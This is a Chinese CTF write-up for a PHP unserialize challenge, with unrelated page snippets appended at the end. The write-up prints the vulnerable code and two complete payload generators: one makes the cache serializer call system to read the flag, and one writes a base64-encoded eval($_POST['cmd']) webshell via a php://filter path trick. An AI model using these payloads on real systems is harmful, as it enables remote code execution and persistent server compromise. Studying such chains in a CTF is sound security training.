[2020 新春红包题]1

0x00 知识点

反序列化?构造pop链
改编自
2019全国大学生安全运维赛 EZPOP

0x01解题

题目给了我们源码

 <?php
error_reporting(0);

class A {

    protected $store;

    protected $key;

    protected $expire;

    public function __construct($store, $key = 'flysystem', $expire = null) {
        $this->key = $key;
        $this->store = $store;
        $this->expire = $expire;
    }

    public function cleanContents(array $contents) {
        $cachedProperties = array_flip([
            'path', 'dirname', 'basename', 'extension', 'filename',
            'size', 'mimetype', 'visibility', 'timestamp', 'type',
        ]);

        foreach ($contents as $path => $object) {
            if (is_array($object)) {
                $contents[$path] = array_intersect_key($object, $cachedProperties);
            }
        }

        return $contents;
    }

    public function getForStorage() {
        $cleaned = $this->cleanContents($this->cache);

        return json_encode([$cleaned, $this->complete]);
    }

    public function save() {
        $contents = $this->getForStorage();

        $this->store->set($this->key, $contents, $this->expire);
    }

    public function __destruct() {
        if (!$this->autosave) {
            $this->save();
        }
    }
}

class B {

    protected function getExpireTime($expire): int {
        return (int) $expire;
    }

    public function getCacheKey(string $name): string {
        // 使缓存文件名随机
        $cache_filename = $this->options['prefix'] . uniqid() . $name;
        if(substr($cache_filename, -strlen('.php')) === '.php') {
          die('?');
        }
        return $cache_filename;
    }

    protected function serialize($data): string {
        if (is_numeric($data)) {
            return (string) $data;
        }

        $serialize = $this->options['serialize'];

        return $serialize($data);
    }

    public function set($name, $value, $expire = null): bool{
        $this->writeTimes++;

        if (is_null($expire)) {
            $expire = $this->options['expire'];
        }

        $expire = $this->getExpireTime($expire);
        $filename = $this->getCacheKey($name);

        $dir = dirname($filename);

        if (!is_dir($dir)) {
            try {
                mkdir($dir, 0755, true);
            } catch (\Exception $e) {
                // 创建失败
            }
        }

        $data = $this->serialize($value);

        if ($this->options['data_compress'] && function_exists('gzcompress')) {
            //数据压缩
            $data = gzcompress($data, 3);
        }

        $data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;
        $result = file_put_contents($filename, $data);

        if ($result) {
            return $filename;
        }

        return null;
    }

}

if (isset($_GET['src']))
{
    highlight_file(__FILE__);
}

$dir = "uploads/";

if (!is_dir($dir))
{
    mkdir($dir);
}
unserialize($_GET["data"]);

先贴上师傅链接

https://250.ac.cn/2019/11/21/2019-EIS-WriteUp/#ezpop

首先可以看到?序列化A,当A::autosave==false成立时在?__destruct?中调用了A::save()

A::save()中调用了A::store->set(),将A::store赋值为一个B对象,即可调用B::set()。

B::set()可以写入文件,注意这里:原题中文件名(以及路径)和文件内容后半部分可控。但是我们此题修改了一下使得文件名随机,并且比较了后缀并限制了后缀不能为php

?public?function?getCacheKey(string?$name):?string?{
????????//?使缓存文件名随机
????????$cache_filename?=?$this->options['prefix']?.?uniqid()?.?$name;
????????if(substr($cache_filename,?-strlen('.php'))?===?'.php')?{
??????????die('?');
????????}
????????return?$cache_filename;
????}

文件内容前半部分中,存在一个exit(),会导致写入的webshell无法执行

利用base64_decode以及php://filter可以绕过

通过php://filter/write=convert.base64-decode将文件内容解码后写入,bypass exit。

然后回溯看看$filename和$data是怎么处理的。
$filename:

用B::getCacheKey($name),在B::getCacheKey($name)中拼接字符串$this->options[‘prefix‘].$name构成filename

$data:

108行拼接前半部分,通过上面的方法bypass。

97行调用B::serialize($value),$value是B::set($name, $value, $expire = null)的参数。

B::serialize($value)调用B::options‘serialize‘处理了$value。

再看$value:

$value实际是A::getForStorage()的返回值。A::getForStorage()返回json_encode([A::cleanContents(A::cache), A::complete]);
A::cleanContents(A::cache)实现了一个过滤的功能,A::complete更容易控制,直接写为shellcode。
由于$value是一个json字符串,然后,json字符串的字符均不是base64合法字符,通过base64_decode可以直接从json中提取出shellcode。
所以将shellcode经过base64编码,B::options[‘serialize‘]赋值为base64_decode。

跟着师傅链接分析了一下,

payload:

直接打命令进去,生成flag文件 获取flag

<?php
class?A{
????protected?$store;
????protected?$key;
????protected?$expire;
????public?$cache?=?[];
????public?$complete?=?true;
????public?function?__construct?()?{
????????$this->store?=?new?B();
????????$this->key?=?'/../wtz.phtml';
????????$this->cache?=?['path'=>'a','dirname'=>'`cat?/flag?>?./uploads/flag.php`'];
????}
}
class?B{
????public?$options?=?[
????????'serialize'?=>?'system',
????????'prefix'?=>?'sssss',
????];
}
echo?urlencode(serialize(new?A()));

payload2:

绕过php后缀:
在做路径处理的时候,会递归的删除掉路径中存在的 /. ,所以导致写入文件成功。

<?php
class A{
    protected $store;
    protected $key;
    protected $expire;
    public function __construct()
    {
        $this->key = '/../wtz.php/.';
    }
    public function start($tmp){
        $this->store = $tmp;
    }
}
class B{
    public $options;
}

$a = new A();
$b = new B();
$b->options['prefix'] = "php://filter/write=convert.base64-decode/resource=uploads/";
$b->options['expire'] = 11;
$b->options['data_compress'] = false;
$b->options['serialize'] = 'strval';
$a->start($b);
$object = array("path"=>"PD9waHAgZXZhbCgkX1BPU1RbJ2NtZCddKTs/Pg");
$path = '111';
$a->cache = array($path=>$object);
$a->complete = '2';
echo urlencode(serialize($a));
?>

解法三:
先写一个图片马
再写一个解析?.user.ini
使图片马作为?php?执行
链接:

http://althims.com/2020/01/29/buu-new-year/

参考链接:

http://althims.com/2020/01/29/buu-new-year/
https://www.suk1.top/2020/01/31/2020%E6%96%B0%E6%98%A5%E7%BA%A2%E5%8C%85/
http://www.rayi.vip/2019/11/27/EIS%202019/
https://250.ac.cn/2019/11/21/2019-EIS-WriteUp/#ezpop

原文地址:https://www.cnblogs.com/wangtanzhi/p/12337443.html

时间: 2024-11-09 03:05:45

[2020 新春红包题]1的相关文章

2020新春战疫公益赛 misc

code_in_morse morse decode后得到: RFIE4RYNBINAUAAAAAGUSSCEKIAAAAEUAAAAA7AIAYAAAAEPFOMTWAAABANUSRCBKR4F53M52F3NWOAMIQ37776R5GE6YNAWJPUA4ZBZM6M5ZPRVWIURUHGMBRAMU7T3P57X776PP5DOBIQIXQE2RCZC5EYFWBAESRALQNACALVNE4B2TCABEA4XIZQAVKFXW632O3XS5HZT7R2J747545E4Y7K

每日一题 为了工作 2020 0303 第一题

Java 栈的相关操作 题目 : * 实现一个特殊的栈,在实现栈的基本功能的基础上,再实现返回栈中最小元素的操作 * 要求 : * 1.pop.push.getMin操作的时间复杂度都是O(1). * 2.设计栈类型可以使用现成的栈结构. * 首先明确Java栈的相关操作函数 Stack stack = new Stack();//实例化栈对象 * 进栈操作 stack.push(“Object”);//返回的是入栈的内容 stack.add("Object");//返回的是true或

每日一题 为了工作 2020 0304 第二题

/** * 题目: * 编写一个类,用两个栈实现队列,支持队列的基本操作(add.poll.peek) * 分析: * 栈的特点是先进后出,而队列的特点是先进先出,我们可以用两个栈正好能把顺序 * 反过来实现类似队列的操作. * 具体实现是一个栈作为压入栈,在压入数据时只往这个栈中压入,记为stackPush, * 另一个栈只作为弹出栈,在弹出数据时只从这个栈弹出,记为stackPop. * 因为数据压入栈的时候,顺序是先进后出的,那么只要把stackPush的数据在压入 * stackPop中

每日一题 为了工作 2020 0412 第四十一题

/** * * 问题:在有序但含有空的数组中查找字符串 * * 题目:给定一个字符串数组 strs[], 在 strs中有些位置为 null, 但在不为 null的位置上, * 其字符串是按照字典顺序由小到大依次出现的.再给定一个字符串str, 请返回 str在strs中 * 出现的最左的位置. * * 举例: * strs= [null,"a" ,null,"a" ,null,"b",null,"c"], str="

春节红包为何成了必争之地

随着移动互联网及移动应用的火爆,大众的生活.工作.娱乐等方式已经被全面改变,甚至很多风俗习惯也悄然发生变化.其中,最明显的变化就是红包发放的形式.自去年微信红包发放以来,红包一词就迅速走红,能否发红包和收到红包的数量成为人们比拼的对象.而距离今年春节,只余下3周左右时间,一场更惨烈的红包大战即将展开. 在这场红包大战中,微信红包不再一家独美,支付宝.新浪微博乃至陌陌都纷纷杀入其中.春节红包成为必争之地的背后,到底隐藏了哪些深层次的缘由? 红包成"靶心" 大战开启 去年1月27日,微信支

2019年春节春晚红包大战战报!30亿!

我正在知识星球「赚钱笔记免费版」和朋友们讨论有趣的话题,你?起来吧?https://t.zsxq.com/ayVvVzB全网已公布的红包累计: 30亿!(1月29日更新)抖音入场,活动启动:集音符,瓜分5亿!(1月28日)百度正式公布红包计划:瓜分10亿,春节当天发9亿!(1月25日)今日头条红包计划启动:发财中国年,抢10亿现金!(1月24日)支付宝集福计划计划启动:集五福,瓜分5亿!支付宝: 5 亿 (集五福)今日头条: 10 亿 (集卡 & 红包雨)百度: 10 亿 (集福气 & 春

扫福得福背后,支付宝 AR 红包的技术创新与故事

春节期间,支付宝的「扫福得福」活动火爆异常.AR 是一种新的交互方式,与传统营销方式相比,可以使用户更深入地参与互动,给用户带来新体验.而支付宝红包,寄托着用户对未来的期盼,因此其团队就考虑将 AR 与红包相结合,探索一种新的玩法.在 AR 领域走在前面的支付宝,其 AR 红包的技术选型.技术架构及其背后的技术故事都有哪些? 写在前面 2004 年 12 月 12 日,我加入雅虎中国,也加入了互联网大军.至今,我还依稀记得,当时心中那种对互联网的敬畏之情.2009 年,在雅虎的四年外企生活一晃而

刷题记录:[EIS 2019]EzPOP

目录 刷题记录:[EIS 2019]EzPOP 知识点 编码写shell绕过 base64工作机制 绕过后缀名检查 刷题记录:[EIS 2019]EzPOP 题目复现链接:https://buuoj.cn/challenges 知识点 编码写shell绕过 $data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data; $result = file_put_conte

腾讯微信封杀虾米音乐和网易云音乐

继微信封杀支付宝新春红包服务后,从昨日开始,微信的封杀行为进一步升级.不少用户发现,包括虾米音乐.天天动听.网易云音乐也无法分享至微信朋友圈. 腾讯回应:版权问题 当用户在虾米或天天动听APP上进行分享至微信的操作时,页面显示“由于你当前分享的内容存在安全隐患,无法分享到微信”.同样,与虾米音乐和天天动听分享失败的理由也一致. 虾米音乐和天天动听方面均表示,未进行技术改动操作.网易云音乐则回应称,腾讯单方面禁止了网易云音乐等主流音乐App在微信朋友圈的分享,欢迎大家继续与好友在网易云音乐平台分享